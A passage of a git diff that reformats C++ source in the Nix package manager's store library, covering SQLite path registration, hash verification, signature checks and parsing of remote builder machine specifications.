combinedSignatures.insert(info.signatures.begin(), - info.signatures.end()); - state->stmts->UpdateRealisedOutput.use() - (concatStringsSep(" ", combinedSignatures)) - (info.id.strHash()) - (info.id.outputName) + combinedSignatures.insert(info.signatures.begin(), info.signatures.end()); + state->stmts->UpdateRealisedOutput + .use()(concatStringsSep(" ", combinedSignatures))(info.id.strHash())(info.id.outputName) .exec(); } else { - throw Error("Trying to register a realisation of '%s', but we already " - "have another one locally.\n" - "Local: %s\n" - "Remote: %s", + throw Error( + "Trying to register a realisation of '%s', but we already " + "have another one locally.\n" + "Local: %s\n" + "Remote: %s", info.id.to_string(), printStorePath(oldR->outPath), - printStorePath(info.outPath) - ); + printStorePath(info.outPath)); } } else { - state->stmts->RegisterRealisedOutput.use() - (info.id.strHash()) - (info.id.outputName) - (printStorePath(info.outPath)) - (concatStringsSep(" ", info.signatures)) + state->stmts->RegisterRealisedOutput + .use()(info.id.strHash())(info.id.outputName)(printStorePath(info.outPath))( + concatStringsSep(" ", info.signatures)) .exec(); } for (auto & [outputId, depPath] : info.dependentRealisations) { auto localRealisation = queryRealisationCore_(*state, outputId); if (!localRealisation) - throw Error("unable to register the derivation '%s' as it " - "depends on the non existent '%s'", - info.id.to_string(), outputId.to_string()); + throw Error( + "unable to register the derivation '%s' as it " + "depends on the non existent '%s'", + info.id.to_string(), + outputId.to_string()); if (localRealisation->second.outPath != depPath) - throw Error("unable to register the derivation '%s' as it " - "depends on a realisation of '%s' that doesn’t" - "match what we have locally", - info.id.to_string(), outputId.to_string()); - state->stmts->AddRealisationReference.use() - (info.id.strHash()) - (info.id.outputName) - (outputId.strHash()) - (outputId.outputName) + throw Error( + "unable to register the derivation '%s' as it " + "depends on a realisation of '%s' that doesn’t" + "match what we have locally", + info.id.to_string(), + outputId.to_string()); + state->stmts->AddRealisationReference + .use()(info.id.strHash())(info.id.outputName)(outputId.strHash())(outputId.outputName) .exec(); } }); } void LocalStore::cacheDrvOutputMapping( - State & state, - const uint64_t deriver, - const std::string & outputName, - const StorePath & output) + State & state, const uint64_t deriver, const std::string & outputName, const StorePath & output) { - retrySQLite([&]() { - state.stmts->AddDerivationOutput.use() - (deriver) - (outputName) - (printStorePath(output)) - .exec(); - }); + retrySQLite( + [&]() { state.stmts->AddDerivationOutput.use()(deriver)(outputName) (printStorePath(output)).exec(); }); } - -uint64_t LocalStore::addValidPath(State & state, - const ValidPathInfo & info, bool checkOutputs) +uint64_t LocalStore::addValidPath(State & state, const ValidPathInfo & info, bool checkOutputs) { if (info.ca.has_value() && !info.isContentAddressed(*this)) - throw Error("cannot add path '%s' to the Nix store because it claims to be content-addressed but isn't", + throw Error( + "cannot add path '%s' to the Nix store because it claims to be content-addressed but isn't", printStorePath(info.path)); - state.stmts->RegisterValidPath.use() - (printStorePath(info.path)) - (info.narHash.to_string(HashFormat::Base16, true)) - (info.registrationTime == 0 ? time(0) : info.registrationTime) - (info.deriver ? printStorePath(*info.deriver) : "", (bool) info.deriver) - (info.narSize, info.narSize != 0) - (info.ultimate ? 1 : 0, info.ultimate) - (concatStringsSep(" ", info.sigs), !info.sigs.empty()) - (renderContentAddress(info.ca), (bool) info.ca) + state.stmts->RegisterValidPath + .use()(printStorePath(info.path))(info.narHash.to_string(HashFormat::Base16, true))( + info.registrationTime == 0 ? time(0) : info.registrationTime)( + info.deriver ? printStorePath(*info.deriver) : "", + (bool) info.deriver)(info.narSize, info.narSize != 0)(info.ultimate ? 1 : 0, info.ultimate)( + concatStringsSep(" ", info.sigs), !info.sigs.empty())(renderContentAddress(info.ca), (bool) info.ca) .exec(); uint64_t id = state.db.getLastInsertedRowId(); @@ -696,7 +675,8 @@ uint64_t LocalStore::addValidPath(State & state, derivations). Note that if this throws an error, then the DB transaction is rolled back, so the path validity registration above is undone. */ - if (checkOutputs) drv.checkInvariants(*this, info.path); + if (checkOutputs) + drv.checkInvariants(*this, info.path); for (auto & i : drv.outputsAndOptPaths(*this)) { /* Floating CA derivations have indeterminate output paths until @@ -708,16 +688,16 @@ uint64_t LocalStore::addValidPath(State & state, { auto state_(Store::state.lock()); - state_->pathInfoCache.upsert(std::string(info.path.to_string()), - PathInfoCacheValue{ .value = std::make_shared(info) }); + state_->pathInfoCache.upsert( + std::string(info.path.to_string()), + PathInfoCacheValue{.value = std::make_shared(info)}); } return id; } - -void LocalStore::queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept +void LocalStore::queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept { try { callback(retrySQLite>([&]() { @@ -725,10 +705,11 @@ void LocalStore::queryPathInfoUncached(const StorePath & path, return queryPathInfoInternal(*state, path); })); - } catch (...) { callback.rethrow(); } + } catch (...) { + callback.rethrow(); + } } - std::shared_ptr LocalStore::queryPathInfoInternal(State & state, const StorePath & path) { /* Get the path info. */ @@ -753,7 +734,8 @@ std::shared_ptr LocalStore::queryPathInfoInternal(State & s info->registrationTime = useQueryPathInfo.getInt(2); auto s = (const char *) sqlite3_column_text(state.stmts->QueryPathInfo, 3); - if (s) info->deriver = parseStorePath(s); + if (s) + info->deriver = parseStorePath(s); /* Note that narSize = NULL yields 0. */ info->narSize = useQueryPathInfo.getInt(4); @@ -761,10 +743,12 @@ std::shared_ptr LocalStore::queryPathInfoInternal(State & s info->ultimate = useQueryPathInfo.getInt(5) == 1; s = (const char *) sqlite3_column_text(state.stmts->QueryPathInfo, 6); - if (s) info->sigs = tokenizeString(s, " "); + if (s) + info->sigs = tokenizeString(s, " "); s = (const char *) sqlite3_column_text(state.stmts->QueryPathInfo, 7); - if (s) info->ca = ContentAddress::parseOpt(s); + if (s) + info->ca = ContentAddress::parseOpt(s); /* Get the references. */ auto useQueryReferences(state.stmts->QueryReferences.use()(info->id)); @@ -775,21 +759,16 @@ std::shared_ptr LocalStore::queryPathInfoInternal(State & s return info; } - /* Update path info in the database. */ void LocalStore::updatePathInfo(State & state, const ValidPathInfo & info) { - state.stmts->UpdatePathInfo.use() - (info.narSize, info.narSize != 0) - (info.narHash.to_string(HashFormat::Base16, true)) - (info.ultimate ? 1 : 0, info.ultimate) - (concatStringsSep(" ", info.sigs), !info.sigs.empty()) - (renderContentAddress(info.ca), (bool) info.ca) - (printStorePath(info.path)) + state.stmts->UpdatePathInfo + .use()(info.narSize, info.narSize != 0)(info.narHash.to_string(HashFormat::Base16, true))( + info.ultimate ? 1 : 0, info.ultimate)(concatStringsSep(" ", info.sigs), !info.sigs.empty())( + renderContentAddress(info.ca), (bool) info.ca)(printStorePath(info.path)) .exec(); } - uint64_t LocalStore::queryValidPathId(State & state, const StorePath & path) { auto use(state.stmts->QueryPathInfo.use()(printStorePath(path))); @@ -798,13 +777,11 @@ uint64_t LocalStore::queryValidPathId(State & state, const StorePath & path) return use.getInt(0); } - bool LocalStore::isValidPath_(State & state, const StorePath & path) { return state.stmts->QueryPathInfo.use()(printStorePath(path)).next(); } - bool LocalStore::isValidPathUncached(const StorePath & path) { return retrySQLite([&]() { @@ -813,28 +790,27 @@ bool LocalStore::isValidPathUncached(const StorePath & path) }); } - StorePathSet LocalStore::queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute) { StorePathSet res; for (auto & i : paths) - if (isValidPath(i)) res.insert(i); + if (isValidPath(i)) + res.insert(i); return res; } - StorePathSet LocalStore::queryAllValidPaths() { return retrySQLite([&]() { auto state(_state.lock()); auto use(state->stmts->QueryValidPaths.use()); StorePathSet res; - while (use.next()) res.insert(parseStorePath(use.getStr(0))); + while (use.next()) + res.insert(parseStorePath(use.getStr(0))); return res; }); } - void LocalStore::queryReferrers(State & state, const StorePath & path, StorePathSet & referrers) { auto useQueryReferrers(state.stmts->QueryReferrers.use()(printStorePath(path))); @@ -843,7 +819,6 @@ void LocalStore::queryReferrers(State & state, const StorePath & path, StorePath referrers.insert(parseStorePath(useQueryReferrers.getStr(0))); } - void LocalStore::queryReferrers(const StorePath & path, StorePathSet & referrers) { return retrySQLite([&]() { @@ -852,7 +827,6 @@ void LocalStore::queryReferrers(const StorePath & path, StorePathSet & referrers }); } - StorePathSet LocalStore::queryValidDerivers(const StorePath & path) { return retrySQLite([&]() { @@ -868,7 +842,6 @@ StorePathSet LocalStore::queryValidDerivers(const StorePath & path) }); } - std::map> LocalStore::queryStaticPartialDerivationOutputMap(const StorePath & path) { @@ -879,8 +852,7 @@ LocalStore::queryStaticPartialDerivationOutputMap(const StorePath & path) drvId = queryValidPathId(*state, path); auto use(state->stmts->QueryDerivationOutputs.use()(drvId)); while (use.next()) - outputs.insert_or_assign( - use.getStr(0), parseStorePath(use.getStr(1))); + outputs.insert_or_assign(use.getStr(0), parseStorePath(use.getStr(1))); return outputs; }); @@ -888,7 +860,8 @@ LocalStore::queryStaticPartialDerivationOutputMap(const StorePath & path) std::optional LocalStore::queryPathFromHashPart(const std::string & hashPart) { - if (hashPart.size() != StorePath::HashLen) throw Error("invalid hash part"); + if (hashPart.size() != StorePath::HashLen) + throw Error("invalid hash part"); Path prefix = storeDir + "/" + hashPart; @@ -897,7 +870,8 @@ std::optional LocalStore::queryPathFromHashPart(const std::string & h auto useQueryPathFromHashPart(state->stmts->QueryPathFromHashPart.use()(prefix)); - if (!useQueryPathFromHashPart.next()) return {}; + if (!useQueryPathFromHashPart.next()) + return {}; const char * s = (const char *) sqlite3_column_text(state->stmts->QueryPathFromHashPart, 0); if (s && prefix.compare(0, prefix.size(), s, prefix.size()) == 0) @@ -906,10 +880,10 @@ std::optional LocalStore::queryPathFromHashPart(const std::string & h }); } - StorePathSet LocalStore::querySubstitutablePaths(const StorePathSet & paths) { - if (!settings.useSubstitutes) return StorePathSet(); + if (!settings.useSubstitutes) + return StorePathSet(); StorePathSet remaining; for (auto & i : paths) @@ -918,9 +892,12 @@ StorePathSet LocalStore::querySubstitutablePaths(const StorePathSet & paths) StorePathSet res; for (auto & sub : getDefaultSubstituters()) { - if (remaining.empty()) break; - if (sub->storeDir != storeDir) continue; - if (!sub->wantMassQuery) continue; + if (remaining.empty()) + break; + if (sub->storeDir != storeDir) + continue; + if (!sub->wantMassQuery) + continue; auto valid = sub->queryValidPaths(remaining); @@ -937,13 +914,11 @@ StorePathSet LocalStore::querySubstitutablePaths(const StorePathSet & paths) return res; } - void LocalStore::registerValidPath(const ValidPathInfo & info) { registerValidPaths({{info.path, info}}); } - void LocalStore::registerValidPaths(const ValidPathInfos & infos) { #ifndef _WIN32 @@ -951,7 +926,8 @@ void LocalStore::registerValidPaths(const ValidPathInfos & infos) be fsync-ed. So some may want to fsync them before registering the validity, at the expense of some speed of the path registering operation. */ - if (settings.syncBeforeRegistering) sync(); + if (settings.syncBeforeRegistering) + sync(); #endif return retrySQLite([&]() { @@ -988,23 +964,21 @@ void LocalStore::registerValidPaths(const ValidPathInfos & infos) error if a cycle is detected and roll back the transaction. Cycles can only occur when a derivation has multiple outputs. */ - topoSort(paths, + topoSort( + paths, {[&](const StorePath & path) { auto i = infos.find(path); return i == infos.end() ? StorePathSet() : i->second.references; }}, {[&](const StorePath & path, const StorePath & parent) { return BuildError( - "cycle detected in the references of '%s' from '%s'", - printStorePath(path), - printStorePath(parent)); + "cycle detected in the references of '%s' from '%s'", printStorePath(path), printStorePath(parent)); }}); txn.commit(); }); } - /* Invalidate a path. The caller is responsible for checking that there are no referrers. */ void LocalStore::invalidatePath(State & state, const StorePath & path) @@ -1040,8 +1014,7 @@ bool LocalStore::realisationIsUntrusted(const Realisation & realisation) return requireSigs && !realisation.checkSignatures(getPublicKeys()); } -void LocalStore::addToStore(const ValidPathInfo & info, Source & source, - RepairFlag repair, CheckSigsFlag checkSigs) +void LocalStore::addToStore(const ValidPathInfo & info, Source & source, RepairFlag repair, CheckSigsFlag checkSigs) { if (checkSigs && pathInfoIsUntrusted(info)) throw Error("cannot add path '%s' because it lacks a signature by a trusted key", printStorePath(info.path)); @@ -1083,7 +1056,7 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, of the NAR. */ HashSink hashSink(HashAlgorithm::SHA256); - TeeSource wrapperSource { source, hashSink }; + TeeSource wrapperSource{source, hashSink}; narRead = true; restorePath(realPath, wrapperSource, settings.fsyncStorePaths); @@ -1091,27 +1064,32 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, auto hashResult = hashSink.finish(); if (hashResult.first != info.narHash) - throw Error("hash mismatch importing path '%s';\n specified: %s\n got: %s", - printStorePath(info.path), info.narHash.to_string(HashFormat::Nix32, true), hashResult.first.to_string(HashFormat::Nix32, true)); + throw Error( + "hash mismatch importing path '%s';\n specified: %s\n got: %s", + printStorePath(info.path), + info.narHash.to_string(HashFormat::Nix32, true), + hashResult.first.to_string(HashFormat::Nix32, true)); if (hashResult.second != info.narSize) - throw Error("size mismatch importing path '%s';\n specified: %s\n got: %s", - printStorePath(info.path), info.narSize, hashResult.second); + throw Error( + "size mismatch importing path '%s';\n specified: %s\n got: %s", + printStorePath(info.path), + info.narSize, + hashResult.second); if (info.ca) { auto & specified = *info.ca; auto actualHash = ({ auto accessor = getFSAccessor(false); - CanonPath path { info.path.to_string() }; - Hash h { HashAlgorithm::SHA256 }; // throwaway def to appease C++ + CanonPath path{info.path.to_string()}; + Hash h{HashAlgorithm::SHA256}; // throwaway def to appease C++ auto fim = specified.method.getFileIngestionMethod(); switch (fim) { case FileIngestionMethod::Flat: - case FileIngestionMethod::NixArchive: - { - HashModuloSink caSink { + case FileIngestionMethod::NixArchive: { + HashModuloSink caSink{ specified.hash.algo, - std::string { info.path.hashPart() }, + std::string{info.path.hashPart()}, }; dumpPath({accessor, path}, caSink, (FileSerialisationMethod) fim); h = caSink.finish().first; @@ -1121,13 +1099,14 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, h = git::dumpHash(specified.hash.algo, {accessor, path}).hash; break; } - ContentAddress { + ContentAddress{ .method = specified.method, .hash = std::move(h), }; }); if (specified.hash != actualHash.hash) { - throw Error("ca hash mismatch importing path '%s';\n specified: %s\n got: %s", + throw Error( + "ca hash mismatch importing path '%s';\n specified: %s\n got: %s", printStorePath(info.path), specified.hash.to_string(HashFormat::Nix32, true), actualHash.hash.to_string(HashFormat::Nix32, true)); @@ -1156,7 +1135,6 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, checkInterrupt(); } - StorePath LocalStore::addToStoreFromDump( Source & source0, std::string_view name, @@ -1168,7 +1146,7 @@ StorePath LocalStore::addToStoreFromDump( { /* For computing the store path. */ auto hashSink = std::make_unique(hashAlgo); - TeeSource source { source0, *hashSink }; + TeeSource source{source0, *hashSink}; /* Read the source path into memory, but only if it's up to narBufferSize bytes. If it's larger, write it to a temporary @@ -1178,8 +1156,12 @@ StorePath LocalStore::addToStoreFromDump( path. */ bool inMemory = false; - struct Free { - void operator()(void* v) { free(v); } + struct Free + { + void operator()(void * v) + { + free(v); + } }; std::unique_ptr dumpBuffer(nullptr); std::string_view dump; @@ -1193,14 +1175,12 @@ StorePath LocalStore::addToStoreFromDump( auto want = std::min(chunkSize, settings.narBufferSize - oldSize); if (auto tmp = realloc(dumpBuffer.get(), oldSize + want)) { dumpBuffer.release(); - dumpBuffer.reset((char*) tmp); + dumpBuffer.reset((char *) tmp); } else { throw std::bad_alloc(); } auto got = 0; - Finally cleanup([&]() { - dump = {dumpBuffer.get(), dump.size() + got}; - }); + Finally cleanup([&]() { dump = {dumpBuffer.get(), dump.size() + got}; }); try { got = source.read(dumpBuffer.get() + oldSize, want); } catch (EndOfFile &) { @@ -1222,8 +1202,8 @@ StorePath LocalStore::addToStoreFromDump( if (!inMemoryAndDontNeedRestore) { /* Drain what we pulled so far, and then keep on pulling */ - StringSource dumpSource { dump }; - ChainSource bothSource { dumpSource, source }; + StringSource dumpSource{dump}; + ChainSource bothSource{dumpSource, source}; std::tie(tempDir, tempDirFd) = createTempDirInStore(); delTempDir = std::make_unique(tempDir); @@ -1241,9 +1221,8 @@ StorePath LocalStore::addToStoreFromDump( hashMethod, methodsMatch ? dumpHash - : hashPath( - PosixSourceAccessor::createAtRoot(tempPath), - hashMethod.getFileIngestionMethod(), hashAlgo).first, + : hashPath(PosixSourceAccessor::createAtRoot(tempPath), hashMethod.getFileIngestionMethod(), hashAlgo) + .first, { .others = references, // caller is not capable of creating a self-reference, because this is content-addressed without modulus @@ -1270,7 +1249,7 @@ StorePath LocalStore::addToStoreFromDump( autoGC(); if (inMemoryAndDontNeedRestore) { - StringSource dumpSource { dump }; + StringSource dumpSource{dump}; /* Restore from the buffer in memory. */ auto fim = hashMethod.getFileIngestionMethod(); switch (fim) { @@ -1290,9 +1269,9 @@ StorePath LocalStore::addToStoreFromDump( /* For computing the nar hash. In recursive SHA-256 mode, this is the same as the store hash, so no need to do it again. */ - auto narHash = std::pair { dumpHash, size }; + auto narHash = std::pair{dumpHash, size}; if (dumpMethod != FileSerialisationMethod::NixArchive || hashAlgo != HashAlgorithm::SHA256) { - HashSink narSink { HashAlgorithm::SHA256 }; + HashSink narSink{HashAlgorithm::SHA256}; dumpPath(realPath, narSink); narHash = narSink.finish(); } @@ -1306,12 +1285,7 @@ StorePath LocalStore::addToStoreFromDump( syncParent(realPath); } - ValidPathInfo info { - *this, - name, - std::move(desc), - narHash.first - }; + ValidPathInfo info{*this, name, std::move(desc), narHash.first}; info.narSize = narHash.second; registerValidPath(info); } @@ -1322,7 +1296,6 @@ StorePath LocalStore::addToStoreFromDump( return dstPath; } - /* Create a temporary directory in the store that won't be garbage-collected until the returned FD is closed. */ std::pair LocalStore::createTempDirInStore() @@ -1344,7 +1317,6 @@ std::pair LocalStore::createTempDirInStore() return {tmpDirFn, std::move(tmpDirFd)}; } - void LocalStore::invalidatePathChecked(const StorePath & path) { retrySQLite([&]() { @@ -1353,11 +1325,12 @@ void LocalStore::invalidatePathChecked(const StorePath & path) SQLiteTxn txn(state->db); if (isValidPath_(*state, path)) { - StorePathSet referrers; queryReferrers(*state, path, referrers); + StorePathSet referrers; + queryReferrers(*state, path, referrers); referrers.erase(path); /* ignore self-references */ if (!referrers.empty()) - throw PathInUse("cannot delete path '%s' because it is in use by %s", - printStorePath(path), showPaths(referrers)); + throw PathInUse( + "cannot delete path '%s' because it is in use by %s", printStorePath(path), showPaths(referrers)); invalidatePath(*state, path); } @@ -1365,7 +1338,6 @@ void LocalStore::invalidatePathChecked(const StorePath & path) }); } - bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) { printInfo("reading the Nix store..."); @@ -1388,11 +1360,12 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) printMsg(lvlTalkative, "checking contents of '%s'", name); PosixSourceAccessor accessor; std::string hash = hashPath( - PosixSourceAccessor::createAtRoot(link.path()), - FileIngestionMethod::NixArchive, HashAlgorithm::SHA256).first.to_string(HashFormat::Nix32, false); + PosixSourceAccessor::createAtRoot(link.path()), + FileIngestionMethod::NixArchive, + HashAlgorithm::SHA256) + .first.to_string(HashFormat::Nix32, false); if (hash != name.string()) { - printError("link '%s' was modified! expected hash '%s', got '%s'", - link.path(), name, hash); + printError("link '%s' was modified! expected hash '%s', got '%s'", link.path(), name, hash); if (repair) { std::filesystem::remove(link.path()); printInfo("removed link '%s'", link.path()); @@ -1408,7 +1381,8 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) for (auto & i : validPaths) { try { - auto info = std::const_pointer_cast(std::shared_ptr(queryPathInfo(i))); + auto info = + std::const_pointer_cast(std::shared_ptr(queryPathInfo(i))); /* Check the content hash (optionally - slow). */ printMsg(lvlTalkative, "checking contents of '%s'", printStorePath(i)); @@ -1419,9 +1393,15 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) auto current = hashSink.finish(); if (info->narHash != nullHash && info->narHash != current.first) { - printError("path '%s' was modified! expected hash '%s', got '%s'", - printStorePath(i), info->narHash.to_string(HashFormat::Nix32, true), current.first.to_string(HashFormat::Nix32, true)); - if (repair) repairPath(i); else errors = true; + printError( + "path '%s' was modified! expected hash '%s', got '%s'", + printStorePath(i), + info->narHash.to_string(HashFormat::Nix32, true), + current.first.to_string(HashFormat::Nix32, true)); + if (repair) + repairPath(i); + else + errors = true; } else { bool update = false; @@ -1444,7 +1424,6 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) auto state(_state.lock()); updatePathInfo(*state, *info); } - } } catch (Error & e) { @@ -1462,7 +1441,6 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) return errors; } - LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair) { StorePathSet storePathsInStoreDir; @@ -1479,7 +1457,8 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair checkInterrupt(); try { storePathsInStoreDir.insert({i.path().filename().string()}); - } catch (BadStorePath &) { } + } catch (BadStorePath &) { + } } /* Check whether all valid paths actually exist. */ @@ -1487,9 +1466,7 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair StorePathSet done; - auto existsInStoreDir = [&](const StorePath & storePath) { - return storePathsInStoreDir.count(storePath); - }; + auto existsInStoreDir = [&](const StorePath & storePath) { return storePathsInStoreDir.count(storePath); }; bool errors = false; StorePathSet validPaths; @@ -1503,19 +1480,25 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair }; } - -void LocalStore::verifyPath(const StorePath & path, std::function existsInStoreDir, - StorePathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors) +void LocalStore::verifyPath( + const StorePath & path, + std::function existsInStoreDir, + StorePathSet & done, + StorePathSet & validPaths, + RepairFlag repair, + bool & errors) { checkInterrupt(); - if (!done.insert(path).second) return; + if (!done.insert(path).second) + return; if (!existsInStoreDir(path)) { /* Check any referrers first. If we can invalidate them first, then we can invalidate this path as well. */ bool canInvalidate = true; - StorePathSet referrers; queryReferrers(path, referrers); + StorePathSet referrers; + queryReferrers(path, referrers); for (auto & i : referrers) if (i != path) { verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); @@ -1538,7 +1521,8 @@ void LocalStore::verifyPath(const StorePath & path, std::function LocalStore::isTrustedClient() return Trusted; } - void LocalStore::vacuumDB() { auto state(_state.lock()); state->db.exec("vacuum"); } - void LocalStore::addSignatures(const StorePath & storePath, const StringSet & sigs) { retrySQLite([&]() { @@ -1583,35 +1564,26 @@ void LocalStore::addSignatures(const StorePath & storePath, const StringSet & si }); } - -std::optional> LocalStore::queryRealisationCore_( - LocalStore::State & state, - const DrvOutput & id) +std::optional> +LocalStore::queryRealisationCore_(LocalStore::State & state, const DrvOutput & id) { - auto useQueryRealisedOutput( - state.stmts->QueryRealisedOutput.use() - (id.strHash()) - (id.outputName)); + auto useQueryRealisedOutput(state.stmts->QueryRealisedOutput.use()(id.strHash())(id.outputName)); if (!useQueryRealisedOutput.next()) return std::nullopt; auto realisationDbId = useQueryRealisedOutput.getInt(0); auto outputPath = parseStorePath(useQueryRealisedOutput.getStr(1)); - auto signatures = - tokenizeString(useQueryRealisedOutput.getStr(2)); + auto signatures = tokenizeString(useQueryRealisedOutput.getStr(2)); - return {{ - realisationDbId, - Realisation{ - .id = id, - .outPath = outputPath, - .signatures = signatures, - } - }}; + return { + {realisationDbId, + Realisation{ + .id = id, + .outPath = outputPath, + .signatures = signatures, + }}}; } -std::optional LocalStore::queryRealisation_( - LocalStore::State & state, - const DrvOutput & id) +std::optional LocalStore::queryRealisation_(LocalStore::State & state, const DrvOutput & id) { auto maybeCore = queryRealisationCore_(state, id); if (!maybeCore) @@ -1619,11 +1591,9 @@ std::optional LocalStore::queryRealisation_( auto [realisationDbId, res] = *maybeCore; std::map dependentRealisations; - auto useRealisationRefs( - state.stmts->QueryRealisationReferences.use() - (realisationDbId)); + auto useRealisationRefs(state.stmts->QueryRealisationReferences.use()(realisationDbId)); while (useRealisationRefs.next()) { - auto depId = DrvOutput { + auto depId = DrvOutput{ Hash::parseAnyPrefixed(useRealisationRefs.getStr(0)), useRealisationRefs.getStr(1), }; @@ -1635,21 +1605,19 @@ std::optional LocalStore::queryRealisation_( res.dependentRealisations = dependentRealisations; - return { res }; + return {res}; } -void LocalStore::queryRealisationUncached(const DrvOutput & id, - Callback> callback) noexcept +void LocalStore::queryRealisationUncached( + const DrvOutput & id, Callback> callback) noexcept { try { - auto maybeRealisation - = retrySQLite>([&]() { - auto state(_state.lock()); - return queryRealisation_(*state, id); - }); + auto maybeRealisation = retrySQLite>([&]() { + auto state(_state.lock()); + return queryRealisation_(*state, id); + }); if (maybeRealisation) - callback( - std::make_shared(maybeRealisation.value())); + callback(std::make_shared(maybeRealisation.value())); else callback(nullptr); @@ -1666,7 +1634,8 @@ void LocalStore::addBuildLog(const StorePath & drvPath, std::string_view log) auto logPath = fmt("%s/%s/%s/%s.bz2", logDir, drvsLogDir, baseName.substr(0, 2), baseName.substr(2)); - if (pathExists(logPath)) return; + if (pathExists(logPath)) + return; createDirs(dirOf(logPath)); @@ -1684,4 +1653,4 @@ std::optional LocalStore::getVersion() static RegisterStoreImplementation regLocalStore; -} // namespace nix +} // namespace nix diff --git a/src/libstore/log-store.cc b/src/libstore/log-store.cc index 2ef791e19..1aa11d21c 100644 --- a/src/libstore/log-store.cc +++ b/src/libstore/log-store.cc @@ -2,7 +2,8 @@ namespace nix { -std::optional LogStore::getBuildLog(const StorePath & path) { +std::optional LogStore::getBuildLog(const StorePath & path) +{ auto maybePath = getBuildDerivationPath(path); if (!maybePath) return std::nullopt; diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc index d98d06651..0e4fa303a 100644 --- a/src/libstore/machines.cc +++ b/src/libstore/machines.cc @@ -14,29 +14,24 @@ Machine::Machine( decltype(speedFactor) speedFactor, decltype(supportedFeatures) supportedFeatures, decltype(mandatoryFeatures) mandatoryFeatures, - decltype(sshPublicHostKey) sshPublicHostKey) : - storeUri(StoreReference::parse( - // Backwards compatibility: if the URI is schemeless, is not a path, - // and is not one of the special store connection words, prepend - // ssh://. - storeUri.find("://") != std::string::npos - || storeUri.find("/") != std::string::npos - || storeUri == "auto" - || storeUri == "daemon" - || storeUri == "local" - || hasPrefix(storeUri, "auto?") - || hasPrefix(storeUri, "daemon?") - || hasPrefix(storeUri, "local?") - || hasPrefix(storeUri, "?") - ? storeUri - : "ssh://" + storeUri)), - systemTypes(systemTypes), - sshKey(sshKey), - maxJobs(maxJobs), - speedFactor(speedFactor == 0.0f ? 1.0f : speedFactor), - supportedFeatures(supportedFeatures), - mandatoryFeatures(mandatoryFeatures), - sshPublicHostKey(sshPublicHostKey) + decltype(sshPublicHostKey) sshPublicHostKey) + : storeUri( + StoreReference::parse( + // Backwards compatibility: if the URI is schemeless, is not a path, + // and is not one of the special store connection words, prepend + // ssh://. + storeUri.find("://") != std::string::npos || storeUri.find("/") != std::string::npos || storeUri == "auto" + || storeUri == "daemon" || storeUri == "local" || hasPrefix(storeUri, "auto?") + || hasPrefix(storeUri, "daemon?") || hasPrefix(storeUri, "local?") || hasPrefix(storeUri, "?") + ? storeUri + : "ssh://" + storeUri)) + , systemTypes(systemTypes) + , sshKey(sshKey) + , maxJobs(maxJobs) + , speedFactor(speedFactor == 0.0f ? 1.0f : speedFactor) + , supportedFeatures(supportedFeatures) + , mandatoryFeatures(mandatoryFeatures) + , sshPublicHostKey(sshPublicHostKey) { if (speedFactor < 0.0) throw UsageError("speed factor must be >= 0"); @@ -49,19 +44,16 @@ bool Machine::systemSupported(const std::string & system) const bool Machine::allSupported(const std::set & features) const { - return std::all_of(features.begin(), features.end(), - [&](const std::string & feature) { - return supportedFeatures.count(feature) || - mandatoryFeatures.count(feature); - }); + return std::all_of(features.begin(), features.end(), [&](const std::string & feature) { + return supportedFeatures.count(feature) || mandatoryFeatures.count(feature); + }); } bool Machine::mandatoryMet(const std::set & features) const { - return std::all_of(mandatoryFeatures.begin(), mandatoryFeatures.end(), - [&](const std::string & feature) { - return features.count(feature); - }); + return std::all_of(mandatoryFeatures.begin(), mandatoryFeatures.end(), [&](const std::string & feature) { + return features.count(feature); + }); } StoreReference Machine::completeStoreReference() const @@ -86,7 +78,8 @@ StoreReference Machine::completeStoreReference() const auto & fs = storeUri.params["system-features"]; auto append = [&](auto feats) { for (auto & f : feats) { - if (fs.size() > 0) fs += ' '; + if (fs.size() > 0) + fs += ' '; fs += f; } }; @@ -145,7 +138,10 @@ static Machine parseBuilderLine(const std::set & defaultSystems, co auto parseUnsignedIntField = [&](size_t fieldIndex) { const auto result = string2Int(tokens[fieldIndex]); if (!result) { - throw FormatError("bad machine specification: failed to convert column #%lu in a row: '%s' to 'unsigned int'", fieldIndex, line); + throw FormatError( + "bad machine specification: failed to convert column #%lu in a row: '%s' to 'unsigned int'", + fieldIndex, + line); } return result.value(); }; @@ -153,7 +149,8 @@ static Machine parseBuilderLine(const std::set & defaultSystems, co auto parseFloatField = [&](size_t fieldIndex) { const auto result = string2Float(tokens[fieldIndex]); if (!result) { - throw FormatError("bad machine specification: failed to convert column #%lu in a row: '%s' to 'float'", fieldIndex, line); + throw FormatError( + "bad machine specification: failed to convert column #%lu in a row: '%s' to 'float'", fieldIndex, line); } return result.value(); }; @@ -170,7 +167,8 @@ static Machine parseBuilderLine(const std::set & defaultSystems, co }; if (!isSet(0)) - throw FormatError("bad machine specification: store URL was not found at the first column of a row: '%s'", line); + throw FormatError( + "bad machine specification: store URL was not found at the first column of a row: '%s'", line); // TODO use designated initializers, once C++ supports those with // custom constructors. @@ -190,16 +188,16 @@ static Machine parseBuilderLine(const std::set & defaultSystems, co // `mandatoryFeatures` isSet(6) ? tokenizeString>(tokens[6], ",") : std::set{}, // `sshPublicHostKey` - isSet(7) ? ensureBase64(7) : "" - }; + isSet(7) ? ensureBase64(7) : ""}; } -static Machines parseBuilderLines(const std::set & defaultSystems, const std::vector & builders) +static Machines 